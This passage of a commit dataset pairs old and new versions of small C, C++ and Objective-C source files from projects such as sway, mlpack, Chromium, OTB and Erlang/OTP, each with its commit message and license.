struct\n","lang":"C","license":"bsd-3-clause","repos":"mpranj\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,mpranj\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,mpranj\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,mpranj\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra"}
{"commit":"de03609158f5e3d774bd519cfdd2a1de04854fa6","old_file":"newbase\/NFmiDictionaryFunction.h","new_file":"newbase\/NFmiDictionaryFunction.h","old_contents":"\n\/*!  NFmiDictionaryFunction.h\n * Tämä on Editorin käyttämä sana kirja funktio.\n * Kieli versiot stringeihin tulevat täältä.\n *\/\n\n#ifndef NFMIDICTIONARYFUNCTION_H\n#define NFMIDICTIONARYFUNCTION_H\n\n#include <NFmiSettings.h>\n\n\/\/ HUOM! Tämä on kopio NFmiEditMapGeneralDataDoc-luokan metodista, kun en voinut antaa tänne\n\/\/ dokumenttia\nstd::string GetDictionaryString(const char *theMagicWord);\n\n#endif\n","new_contents":"\n\/*!  NFmiDictionaryFunction.h\n * Tämä on Editorin käyttämä sana kirja funktio.\n * Kieli versiot stringeihin tulevat täältä.\n *\/\n\n#ifndef NFMIDICTIONARYFUNCTION_H\n#define NFMIDICTIONARYFUNCTION_H\n\n#include \"NFmiSettings.h\"\n\n\/\/ HUOM! Tämä on kopio NFmiEditMapGeneralDataDoc-luokan metodista, kun en voinut antaa tänne\n\/\/ dokumenttia\nstd::string GetDictionaryString(const char *theMagicWord);\n\n#endif\n","subject":"Use \"\" instead of <> for local includes","message":"Use \"\" instead of <> for local includes\n","lang":"C","license":"mit","repos":"fmidev\/smartmet-library-newbase,fmidev\/smartmet-library-newbase"}
{"commit":"266393a705ce2b6db982a4bd048bb536ec556a85","old_file":"include\/extensions.h","new_file":"include\/extensions.h","old_contents":"#ifndef _SWAY_EXTENSIONS_H\n#define _SWAY_EXTENSIONS_H\n\n#include <wayland-server-core.h>\n#include <wlc\/wlc-wayland.h>\n#include \"wayland-desktop-shell-server-protocol.h\"\n#include \"list.h\"\n\nstruct background_config {\n        wlc_handle output;\n        wlc_resource surface;\n        struct wl_resource *resource;\n};\n\nstruct panel_config {\n        wlc_handle output;\n        wlc_resource surface;\n        struct wl_resource *resource;\n};\n\nstruct desktop_shell_state {\n        list_t *backgrounds;\n        list_t *panels;\n        enum desktop_shell_panel_position panel_position;\n        struct wlc_size panel_size;\n};\n\nstruct swaylock_state {\n        bool active;\n        wlc_handle output;\n        wlc_resource surface;\n};\n\nextern struct desktop_shell_state desktop_shell;\n\nvoid register_extensions(void);\n\n#endif\n","new_contents":"#ifndef _SWAY_EXTENSIONS_H\n#define _SWAY_EXTENSIONS_H\n\n#include <wayland-server.h>\n#include <wlc\/wlc-wayland.h>\n#include \"wayland-desktop-shell-server-protocol.h\"\n#include \"list.h\"\n\nstruct background_config {\n        wlc_handle output;\n        wlc_resource surface;\n        struct wl_resource *resource;\n};\n\nstruct panel_config {\n        wlc_handle output;\n        wlc_resource surface;\n        struct wl_resource *resource;\n};\n\nstruct desktop_shell_state {\n        list_t *backgrounds;\n        list_t *panels;\n        enum desktop_shell_panel_position panel_position;\n        struct wlc_size panel_size;\n};\n\nstruct swaylock_state {\n        bool active;\n        wlc_handle output;\n        wlc_resource surface;\n};\n\nextern struct desktop_shell_state desktop_shell;\n\nvoid register_extensions(void);\n\n#endif\n","subject":"Include wayland-server.h instead of -core.h","message":"Include wayland-server.h instead of -core.h\n","lang":"C","license":"mit","repos":"1ace\/sway,1ace\/sway,sleep-walker\/sway,colemickens\/sway,colemickens\/sway,colemickens\/sway,4e554c4c\/sway,crondog\/sway,ascent12\/sway,4e554c4c\/sway,ptMuta\/sway,taiyu-len\/sway,ascent12\/sway,taiyu-len\/sway,mikkeloscar\/sway,mikkeloscar\/sway,SirCmpwn\/sway,taiyu-len\/sway,crondog\/sway,johalun\/sway,ascent12\/sway,1ace\/sway,sleep-walker\/sway"}
{"commit":"283fd795b2c1d6f43de7ff88ef27167b24e46974","old_file":"Code\/ApplicationEngine\/otbWrapperAddProcessToWatchEvent.h","new_file":"Code\/ApplicationEngine\/otbWrapperAddProcessToWatchEvent.h","old_contents":"","new_contents":"\/*=========================================================================\n\n  Program:   ORFEO Toolbox\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\n  Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n  See OTBCopyright.txt for details.\n\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n#ifndef __otbWrapperAddProcessToWatchEvent_h\n#define __otbWrapperAddProcessToWatchEvent_h\n\n#include \"itkEventObject.h\"\n#include \"itkProcessObject.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\n\/** \\class AddProcessToWatchEvent\n *  \\brief This class implements an event storing a pointer to\n *  itk::ProcessObject and a string describing the process.\n * \n *\/\nclass ITK_EXPORT AddProcessToWatchEvent: public itk::EventObject\n{\npublic:\n \n  typedef AddProcessToWatchEvent Self; \n  typedef itk::EventObject       Superclass; \n\n  AddProcessToWatchEvent(){}\n  AddProcessToWatchEvent(const Self& s) :itk::EventObject(s){};\n  virtual ~AddProcessToWatchEvent() {}\n\n  \/** Set\/Get the process to watch *\/\n  virtual void SetProcess(itk::ProcessObject * process)\n  {\n    m_Process = process;\n  }\n  virtual itk::ProcessObject * GetProcess() const\n  {\n    return m_Process;\n  }\n\n  \/** Set\/Get the process description *\/\n  virtual void SetProcessDescription(const std::string desc)\n  {\n    m_ProcessDescription = desc;\n  }\n\n  virtual  std::string GetProcessDescription() const\n  {\n    return m_ProcessDescription;\n  }\n\n  \/** Virtual pure method to implement *\/\n  virtual itk::EventObject* MakeObject() const\n  {\n    return new Self;    \n  }\n  \n  virtual const char* GetEventName() const\n  {\n    return \"AddProcess\";\n  }\n  virtual bool CheckEvent(const itk::EventObject* e) const\n  {\n    return dynamic_cast<const Self*>(e); \n  }\n\nprivate:\n  itk::ProcessObject::Pointer m_Process;\n  std::string                 m_ProcessDescription;\n};\n\n}\n}\n\n#endif\n","subject":"ADD : Class implementing an Event storing a pointer to a itk::ProcessObject and a string describing it.","message":"ADD : Class implementing an Event storing a pointer to a itk::ProcessObject and a string describing it.\n","lang":"C","license":"apache-2.0","repos":"orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB"}
{"commit":"f97be484d675f92b852a7f7d72fcfd13a9f166dd","old_file":"mlpack\/trunk\/src\/mlpack\/core.h","new_file":"mlpack\/trunk\/src\/mlpack\/core.h","old_contents":"\/***\n * @file mlpack_core.h\n *\n * Include all of the base components required to write MLPACK methods.\n *\/\n#ifndef __MLPACK_CORE_H\n#define __MLPACK_CORE_H\n\n\/\/ First, standard includes.\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <ctype.h>\n#include <cmath>\n#include <math.h>\n#include <limits.h>\n#include <float.h>\n#include <stdint.h>\n#include <iostream>\n\n\/\/ And then the Armadillo library.\n#include <armadillo>\n\n\/\/ Now MLPACK-specific includes.\n#include <mlpack\/core\/data\/dataset.h>\n#include <mlpack\/core\/math\/math_lib.h>\n#include <mlpack\/core\/math\/range.h>\n#include <mlpack\/core\/math\/kernel.h>\n#include <mlpack\/core\/file\/textfile.h>\n#include <mlpack\/core\/io\/io.h>\n#include <mlpack\/core\/arma_extend\/arma_extend.h>\n\n#endif\n","new_contents":"\/***\n * @file mlpack_core.h\n *\n * Include all of the base components required to write MLPACK methods.\n *\/\n#ifndef __MLPACK_CORE_H\n#define __MLPACK_CORE_H\n\n\/\/ First, standard includes.\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <ctype.h>\n#include <limits.h>\n#include <float.h>\n#include <stdint.h>\n#include <iostream>\n\n\/\/ Defining __USE_MATH_DEFINES should set M_PI.\n#define _USE_MATH_DEFINES\n#include <math.h>\n\n\/\/ But if it's not defined, we'll do it.\n#ifndef M_PI\n  #define M_PI 3.141592653589793238462643383279\n#endif\n\n\/\/ And then the Armadillo library.\n#include <armadillo>\n\n\/\/ Now MLPACK-specific includes.\n#include <mlpack\/core\/data\/dataset.h>\n#include <mlpack\/core\/math\/math_lib.h>\n#include <mlpack\/core\/math\/range.h>\n#include <mlpack\/core\/math\/kernel.h>\n#include <mlpack\/core\/file\/textfile.h>\n#include <mlpack\/core\/io\/io.h>\n#include <mlpack\/core\/arma_extend\/arma_extend.h>\n\n#endif\n","subject":"Make sure we include M_PI, and if the system does not define it for us, we'll give it our best shot.","message":"Make sure we include M_PI, and if the system does not define it for us, we'll\ngive it our best shot.\n\n","lang":"C","license":"bsd-3-clause","repos":"darcyliu\/mlpack,minhpqn\/mlpack,bmswgnp\/mlpack,trungda\/mlpack,BookChan\/mlpack,ajjl\/mlpack,lezorich\/mlpack,ersanliqiao\/mlpack,palashahuja\/mlpack,stereomatchingkiss\/mlpack,datachand\/mlpack,erubboli\/mlpack,theranger\/mlpack,datachand\/mlpack,bmswgnp\/mlpack,erubboli\/mlpack,thirdwing\/mlpack,theranger\/mlpack,ajjl\/mlpack,BookChan\/mlpack,lezorich\/mlpack,darcyliu\/mlpack,palashahuja\/mlpack,palashahuja\/mlpack,erubboli\/mlpack,Azizou\/mlpack,ranjan1990\/mlpack,Azizou\/mlpack,trungda\/mlpack,ersanliqiao\/mlpack,thirdwing\/mlpack,darcyliu\/mlpack,minhpqn\/mlpack,minhpqn\/mlpack,ajjl\/mlpack,ranjan1990\/mlpack,thirdwing\/mlpack,stereomatchingkiss\/mlpack,bmswgnp\/mlpack,BookChan\/mlpack,stereomatchingkiss\/mlpack,lezorich\/mlpack,datachand\/mlpack,chenmoshushi\/mlpack,Azizou\/mlpack,trungda\/mlpack,ersanliqiao\/mlpack,ranjan1990\/mlpack,chenmoshushi\/mlpack,theranger\/mlpack,chenmoshushi\/mlpack"}
{"commit":"eab972c985f5abcf7f8ec3ebd155532f2e9e5f62","old_file":"include\/intellibot.h","new_file":"include\/intellibot.h","old_contents":"#if !defined(_INTELLIBOT_H)\n#define _INTELLIBOT_H\n\n#include <sys\/types.h>\n#include <time.h>\n\n#include \"queue.h\"\n#include \"sock.h\"\n\nstruct _intellibot;\nstruct _server;\nstruct _plugin;\nstruct _plugin_ctx;\nstruct _queue;\n\n#define SOCK_FLAG_DISCONNECTED 0\n#define SOCK_FLAG_CONNECTED 1\n#define SOCK_FLAG_REGISTERED 2\n\ntypedef struct _server {\n    SOCK *sock;\n\n    struct _server *prev, *next;\n} SERVER;\n\ntypedef struct _plugin_ctx {\n    struct _plugin *plugin;\n    struct _intellibot *bot;\n    void *ctx;\n} PLUGIN_CTX;\n\ntypedef struct _plugin {\n    void *handle;\n    void *ctx;\n\n    QUEUE *queue;\n\n    struct _plugin *prev, *next;\n} PLUGIN;\n\ntypedef struct _intellibot {\n    PLUGIN *plugins;\n    SERVER *servers;\n} INTELLIBOT;\n\n#endif\n","new_contents":"#if !defined(_INTELLIBOT_H)\n#define _INTELLIBOT_H\n\n#include <sys\/types.h>\n#include <time.h>\n\n#include \"queue.h\"\n#include \"sock.h\"\n\nstruct _intellibot;\nstruct _server;\nstruct _plugin;\nstruct _plugin_ctx;\nstruct _queue;\n\n#define SOCK_FLAG_DISCONNECTED 0\n#define SOCK_FLAG_CONNECTED 1\n#define SOCK_FLAG_REGISTERED 2\n\ntypedef struct _server {\n    SOCK *sock;\n\n    struct _server *prev, *next;\n} SERVER;\n\ntypedef struct _plugin_ctx {\n    struct _plugin *plugin;\n    struct _intellibot *bot;\n    void *ctx;\n} PLUGIN_CTX;\n\n#define SUBSCRIPTION_JOIN       0x00000001\n#define SUBSCRIPTION_PART       0x00000002\n#define SUBSCRIPTION_CONNECT    0x00000004\n#define SUBSCRIPTION_DISCONNECT 0x00000008\n#define SUBSCRIPTION_PRIVMSG    0x00000010\n\ntypedef struct _plugin {\n    pthread_t tid;\n    void *handle;\n    void *ctx;\n    unsigned int subscriptions;\n\n    QUEUE *queue;\n    int (*run)(struct _plugin *, char *);\n\n    struct _plugin *prev, *next;\n} PLUGIN;\n\ntypedef struct _intellibot {\n    PLUGIN *plugins;\n    SERVER *servers;\n} INTELLIBOT;\n\n#endif\n","subject":"Add fields to the plugin struct","message":"Add fields to the plugin struct\n","lang":"C","license":"bsd-2-clause","repos":"lattera\/intellibot"}
{"commit":"278ef644709f6e05938be329941e4cc2207dae41","old_file":"hab\/proxr\/poll-arduino.c","new_file":"hab\/proxr\/poll-arduino.c","old_contents":"#include \"sim-hab.h\"\n#include <stdlib.h>\n\nint poll_arduino()\n{\n    char response[256];\n    uint32_t content;\n    bionet_resource_t *res;\n    bionet_node_t *node;\n    \n    node = bionet_hab_get_node_by_index(hab, 0);\n\n    \/\/ send command 100. requests analog0's value\n    \/\/ read value and set resource\n    arduino_write(100);\n    arduino_read_until(response, '\\n');\n    content = atoi(response); \n    res = bionet_node_get_resource_by_index(node, 24);\n    bionet_resource_set_uint32(res, content, NULL);\n\n\n    \/\/ send command 101. requests analog1's value\n    \/\/ read value and set resource\n    arduino_write(101);\n    arduino_read_until(response, '\\n');\n    content = atoi(response);\n    res = bionet_node_get_resource_by_index(node, 25);\n    bionet_resource_set_uint32(res, content, NULL);\n\n    \/\/ testing\n    arduino_write(200);\n    arduino_read_until(response, '\\n');\n    content = atoi(response);\n    printf(\"digital 0: %d\\n\", content);\n\n    \/\/ report new data\n    hab_report_datapoints(node);\n\n    return 1;\n}  \n    \n\n    \n","new_contents":"#include \"sim-hab.h\"\n#include <stdlib.h>\n\nint poll_arduino()\n{\n    char response[256];\n    uint32_t content;\n    bionet_resource_t *res;\n    bionet_node_t *node;\n    \n    node = bionet_hab_get_node_by_index(hab, 0);\n\n    \/\/ send command 100. requests analog0's value\n    \/\/ read value and set resource\n    arduino_write(100);\n    arduino_read_until(response, '\\n');\n    content = atoi(response); \n    res = bionet_node_get_resource_by_index(node, 24);\n    bionet_resource_set_uint32(res, content, NULL);\n\n\n    \/\/ send command 101. requests analog1's value\n    \/\/ read value and set resource\n    arduino_write(101);\n    arduino_read_until(response, '\\n');\n    content = atoi(response);\n    res = bionet_node_get_resource_by_index(node, 25);\n    bionet_resource_set_uint32(res, content, NULL);\n\n    \/\/ send command 200. requests the 8 digital values\n    \/\/ read values and set resource\n    arduino_write(200);\n    arduino_read_until(response, '\\n');\n    for(int i=0; i<8; i++)\n    {\n        content = atoi(&response[i]);\n        res = bionet_node_get_resource_by_index(node, 16+i);\n        bionet_resource_set_binary(res, content, NULL);\n    }\n\n    \/\/ report new data\n    hab_report_datapoints(node);\n\n    return 1;\n}  \n    \n\n    \n","subject":"Modify sim-hab so that the digital inputs are accounted for.","message":"Modify sim-hab so that the digital inputs are accounted for.\n","lang":"C","license":"lgpl-2.1","repos":"ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead"}
{"commit":"da939c53dac50093fc1227010652ab0560f08b45","old_file":"net\/socket\/ssl_client_socket.h","new_file":"net\/socket\/ssl_client_socket.h","old_contents":"\/\/ Copyright (c) 2006-2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_SOCKET_SSL_CLIENT_SOCKET_H_\n#define NET_SOCKET_SSL_CLIENT_SOCKET_H_\n\n#include \"net\/socket\/client_socket.h\"\n\nnamespace net {\n\nclass SSLCertRequestInfo;\nclass SSLInfo;\n\n\/\/ A client socket that uses SSL as the transport layer.\n\/\/\n\/\/ NOTE: The SSL handshake occurs within the Connect method after a TCP\n\/\/ connection is established.  If a SSL error occurs during the handshake,\n\/\/ Connect will fail.\n\/\/\nclass SSLClientSocket : public ClientSocket {\n public:\n  \/\/ Gets the SSL connection information of the socket.\n  virtual void GetSSLInfo(SSLInfo* ssl_info) = 0;\n\n  \/\/ Gets the SSL CertificateRequest info of the socket after Connect failed\n  \/\/ with ERR_SSL_CLIENT_AUTH_CERT_NEEDED.\n  virtual void GetSSLCertRequestInfo(\n      SSLCertRequestInfo* cert_request_info) = 0;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_SOCKET_SSL_CLIENT_SOCKET_H_\n","new_contents":"\/\/ Copyright (c) 2006-2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_SOCKET_SSL_CLIENT_SOCKET_H_\n#define NET_SOCKET_SSL_CLIENT_SOCKET_H_\n\n#include \"net\/socket\/client_socket.h\"\n\nnamespace net {\n\nclass SSLCertRequestInfo;\nclass SSLInfo;\n\n\/\/ A client socket that uses SSL as the transport layer.\n\/\/\n\/\/ NOTE: The SSL handshake occurs within the Connect method after a TCP\n\/\/ connection is established.  If a SSL error occurs during the handshake,\n\/\/ Connect will fail.\n\/\/\nclass SSLClientSocket : public ClientSocket {\n public:\n  \/\/ Next Protocol Negotiation (NPN), if successful, results in agreement on an\n  \/\/ application-level string that specifies the application level protocol to\n  \/\/ use over the TLS connection. NextProto enumerates the application level\n  \/\/ protocols that we recognise.\n  enum NextProto {\n    kProtoUnknown = 0,\n    kProtoHTTP11 = 1,\n    kProtoSPDY = 2,\n  };\n\n  \/\/ Gets the SSL connection information of the socket.\n  virtual void GetSSLInfo(SSLInfo* ssl_info) = 0;\n\n  \/\/ Gets the SSL CertificateRequest info of the socket after Connect failed\n  \/\/ with ERR_SSL_CLIENT_AUTH_CERT_NEEDED.\n  virtual void GetSSLCertRequestInfo(\n      SSLCertRequestInfo* cert_request_info) = 0;\n\n  static NextProto NextProtoFromString(const std::string& proto_string) {\n    if (proto_string == \"http1.1\") {\n      return kProtoHTTP11;\n    } else if (proto_string == \"spdy\") {\n      return kProtoSPDY;\n    } else {\n      return kProtoUnknown;\n    }\n  }\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_SOCKET_SSL_CLIENT_SOCKET_H_\n","subject":"Add static function to convert NPN strings to an enum.","message":"Add static function to convert NPN strings to an enum.\n\nhttp:\/\/codereview.chromium.org\/487012\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@34287 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 2a63eef748fa1910eddb0b772eb24344e6705fdc","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"a58c131cca2faedf386aa57b7f68b0ab0dd4f6b8","old_file":"SmartDeviceLink-iOS\/SmartDeviceLink\/SDLAbstractProtocol.h","new_file":"SmartDeviceLink-iOS\/SmartDeviceLink\/SDLAbstractProtocol.h","old_contents":"\/\/  SDLAbstractProtocol.h\n\/\/\n\n@class SDLAbstractTransport;\n@class SDLRPCMessage;\n@class SDLRPCRequest;\n\n#import \"SDLProtocolListener.h\"\n#import \"SDLTransportDelegate.h\"\n\n\n@interface SDLAbstractProtocol : NSObject <SDLTransportDelegate>\n\n@property (strong) NSString *debugConsoleGroupName;\n@property (weak) SDLAbstractTransport *transport;\n@property (weak) NSHashTable *protocolDelegateTable; \/\/ table of id<SDLProtocolListener>\n\n\/\/ Sending\n- (void)sendStartSessionWithType:(SDLServiceType)serviceType;\n- (void)sendEndSessionWithType:(SDLServiceType)serviceType;\n- (void)sendRPC:(SDLRPCMessage *)message;\n- (void)sendRPCRequest:(SDLRPCRequest *)rpcRequest __deprecated_msg((\"Use sendRPC: instead\"));\n- (void)sendHeartbeat;\n- (void)sendRawDataStream:(NSInputStream *)inputStream withServiceType:(SDLServiceType)serviceType;\n- (void)sendRawData:(NSData *)data withServiceType:(SDLServiceType)serviceType;\n\n\/\/ Recieving\n- (void)handleBytesFromTransport:(NSData *)receivedData;\n- (void)dispose;\n\n@end\n","new_contents":"\/\/  SDLAbstractProtocol.h\n\/\/\n\n@class SDLAbstractTransport;\n@class SDLRPCMessage;\n@class SDLRPCRequest;\n\n#import \"SDLProtocolListener.h\"\n#import \"SDLTransportDelegate.h\"\n\n\n@interface SDLAbstractProtocol : NSObject <SDLTransportDelegate>\n\n@property (strong) NSString *debugConsoleGroupName;\n@property (weak) SDLAbstractTransport *transport;\n@property (strong) NSHashTable *protocolDelegateTable; \/\/ table of id<SDLProtocolListener>\n\n\/\/ Sending\n- (void)sendStartSessionWithType:(SDLServiceType)serviceType;\n- (void)sendEndSessionWithType:(SDLServiceType)serviceType;\n- (void)sendRPC:(SDLRPCMessage *)message;\n- (void)sendRPCRequest:(SDLRPCRequest *)rpcRequest __deprecated_msg((\"Use sendRPC: instead\"));\n- (void)sendHeartbeat;\n- (void)sendRawDataStream:(NSInputStream *)inputStream withServiceType:(SDLServiceType)serviceType;\n- (void)sendRawData:(NSData *)data withServiceType:(SDLServiceType)serviceType;\n\n\/\/ Recieving\n- (void)handleBytesFromTransport:(NSData *)receivedData;\n- (void)dispose;\n\n@end\n","subject":"Fix SDLProtocol delegate table being released too early","message":"Fix SDLProtocol delegate table being released too early\n","lang":"C","license":"bsd-3-clause","repos":"FordDev\/sdl_ios,APCVSRepo\/sdl_ios,smartdevicelink\/sdl_ios,adein\/sdl_ios,kshala-ford\/sdl_ios,kshala-ford\/sdl_ios,smartdevicelink\/sdl_ios,FordDev\/sdl_ios,APCVSRepo\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,davidswi\/sdl_ios,kshala-ford\/sdl_ios,davidswi\/sdl_ios,APCVSRepo\/sdl_ios,FordDev\/sdl_ios,FordDev\/sdl_ios,smartdevicelink\/sdl_ios,adein\/sdl_ios,smartdevicelink\/sdl_ios,kshala-ford\/sdl_ios,davidswi\/sdl_ios,davidswi\/sdl_ios,APCVSRepo\/sdl_ios,FordDev\/sdl_ios,davidswi\/sdl_ios,smartdevicelink\/sdl_ios"}
{"commit":"30a6e87310245b6602c959b9e7b2280fb22caad6","old_file":"solutions\/uri\/1028\/1028.c","new_file":"solutions\/uri\/1028\/1028.c","old_contents":"","new_contents":"#include <stdint.h>\n#include <stdio.h>\n\nint gcd(int a, int b) {\n    int32_t x;\n\n    while (b > 0) {\n        x = b;\n        b = a % b;\n        a = x;\n    }\n\n    return a;\n}\n\nint main() {\n    int32_t n, a, b;\n\n    scanf(\"%d\", &n);\n\n    while (n--) {\n        scanf(\"%d %d\", &a, &b);\n\n        printf(\"%d\\n\", gcd(a, b));\n    }\n\n    return 0;\n}\n","subject":"Solve Collectable Cards in c","message":"Solve Collectable Cards in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"77e2e9b890807560b3db5f1e277c7445cc5d74dd","old_file":"lib\/kernel\/test\/os_SUITE_data\/my_echo.c","new_file":"lib\/kernel\/test\/os_SUITE_data\/my_echo.c","old_contents":"#ifdef __WIN32__\n#include <windows.h>\n\nint wmain(int argc, wchar_t **argv)\n{\n    char* sep = \"\";\n    int len;\n\n    \/*\n     * Echo all arguments separated with '::', so that we can check that\n     * quotes are interpreted correctly.\n     *\/\n\n    while (argc-- > 1) {\n\tchar *utf8;\n\tlen = WideCharToMultiByte(CP_UTF8, 0, argv[1], -1, NULL, 0, NULL, NULL);\n\tutf8 = malloc(len*sizeof(char));\n\tWideCharToMultiByte(CP_UTF8, 0, argv++[1], -1, utf8, len, NULL, NULL);\n\tprintf(\"%s%s\", sep, utf8);\n\tfree(utf8);\n\tsep = \"::\";\n    }\n    putchar('\\n');\n    return 0;\n}\n#else\n\n#include <stdio.h>\n\nint\nmain(int argc, char** argv)\n{\n    char* sep = \"\";\n\n    \/*\n     * Echo all arguments separated with '::', so that we can check that\n     * quotes are interpreted correctly.\n     *\/\n\n    while (argc-- > 1) {\n\tprintf(\"%s%s\", sep, argv++[1]);\n\tsep = \"::\";\n    }\n    putchar('\\n');\n    return 0;\n}\n#endif\n","new_contents":"#include <stdio.h>\n#ifdef __WIN32__\n#include <windows.h>\n\nint wmain(int argc, wchar_t **argv)\n{\n    char* sep = \"\";\n    int len;\n\n    \/*\n     * Echo all arguments separated with '::', so that we can check that\n     * quotes are interpreted correctly.\n     *\/\n\n    while (argc-- > 1) {\n\tchar *utf8;\n\tlen = WideCharToMultiByte(CP_UTF8, 0, argv[1], -1, NULL, 0, NULL, NULL);\n\tutf8 = malloc(len*sizeof(char));\n\tWideCharToMultiByte(CP_UTF8, 0, argv++[1], -1, utf8, len, NULL, NULL);\n\tprintf(\"%s%s\", sep, utf8);\n\tfree(utf8);\n\tsep = \"::\";\n    }\n    putchar('\\n');\n    return 0;\n}\n#else\n\nint\nmain(int argc, char** argv)\n{\n    char* sep = \"\";\n\n    \/*\n     * Echo all arguments separated with '::', so that we can check that\n     * quotes are interpreted correctly.\n     *\/\n\n    while (argc-- > 1) {\n\tprintf(\"%s%s\", sep, argv++[1]);\n\tsep = \"::\";\n    }\n    putchar('\\n');\n    return 0;\n}\n#endif\n","subject":"Fix os_SUITE compilation issue on win32","message":"kernel: Fix os_SUITE compilation issue on win32\n","lang":"C","license":"apache-2.0","repos":"rlipscombe\/otp,bjorng\/otp,dgud\/otp,isvilen\/otp,emacsmirror\/erlang,bjorng\/otp,g-andrade\/otp,getong\/otp,dgud\/otp,isvilen\/otp,potatosalad\/otp,vinoski\/otp,g-andrade\/otp,jj1bdx\/otp,emacsmirror\/erlang,mikpe\/otp,erlang\/otp,lrascao\/otp,erlang\/otp,potatosalad\/otp,getong\/otp,rlipscombe\/otp,emacsmirror\/erlang,vinoski\/otp,uabboli\/otp,erlang\/otp,rlipscombe\/otp,mikpe\/otp,ferd\/otp,getong\/otp,dumbbell\/otp,vinoski\/otp,dgud\/otp,bjorng\/otp,getong\/otp,isvilen\/otp,ferd\/otp,potatosalad\/otp,lrascao\/otp,lrascao\/otp,uabboli\/otp,potatosalad\/otp,potatosalad\/otp,isvilen\/otp,jj1bdx\/otp,ferd\/otp,mikpe\/otp,dumbbell\/otp,erlang\/otp,rlipscombe\/otp,jj1bdx\/otp,ferd\/otp,dumbbell\/otp,mikpe\/otp,g-andrade\/otp,lrascao\/otp,uabboli\/otp,isvilen\/otp,uabboli\/otp,getong\/otp,rlipscombe\/otp,lrascao\/otp,lrascao\/otp,isvilen\/otp,dgud\/otp,potatosalad\/otp,emacsmirror\/erlang,dgud\/otp,rlipscombe\/otp,vinoski\/otp,potatosalad\/otp,lrascao\/otp,getong\/otp,bjorng\/otp,dumbbell\/otp,vinoski\/otp,dgud\/otp,dumbbell\/otp,bjorng\/otp,erlang\/otp,mikpe\/otp,g-andrade\/otp,emacsmirror\/erlang,rlipscombe\/otp,isvilen\/otp,mikpe\/otp,g-andrade\/otp,potatosalad\/otp,dgud\/otp,rlipscombe\/otp,isvilen\/otp,vinoski\/otp,mikpe\/otp,dgud\/otp,uabboli\/otp,vinoski\/otp,vinoski\/otp,jj1bdx\/otp,g-andrade\/otp,g-andrade\/otp,uabboli\/otp,dumbbell\/otp,emacsmirror\/erlang,bjorng\/otp,ferd\/otp,emacsmirror\/erlang,uabboli\/otp,dgud\/otp,ferd\/otp,mikpe\/otp,uabboli\/otp,g-andrade\/otp,mikpe\/otp,bjorng\/otp,dumbbell\/otp,dumbbell\/otp,vinoski\/otp,jj1bdx\/otp,rlipscombe\/otp,bjorng\/otp,lrascao\/otp,jj1bdx\/otp,jj1bdx\/otp,g-andrade\/otp,emacsmirror\/erlang,isvilen\/otp,getong\/otp,isvilen\/otp,lrascao\/otp,dumbbell\/otp,erlang\/otp,erlang\/otp,bjorng\/otp,jj1bdx\/otp,ferd\/otp,uabboli\/otp,emacsmirror\/erlang,jj1bdx\/otp,getong\/otp,potatosalad\/otp,erlang\/otp,potatosalad\/otp,erlang\/otp,mikpe\/otp,vinoski\/otp,getong\/otp,bjorng\/otp,ferd\/otp,dgud\/otp,erlang\/otp,emacsmirror\/erlang,g-andrade\/otp,rlipscombe\/otp,getong\/otp,ferd\/otp,dumbbell\/otp,jj1bdx\/otp"}
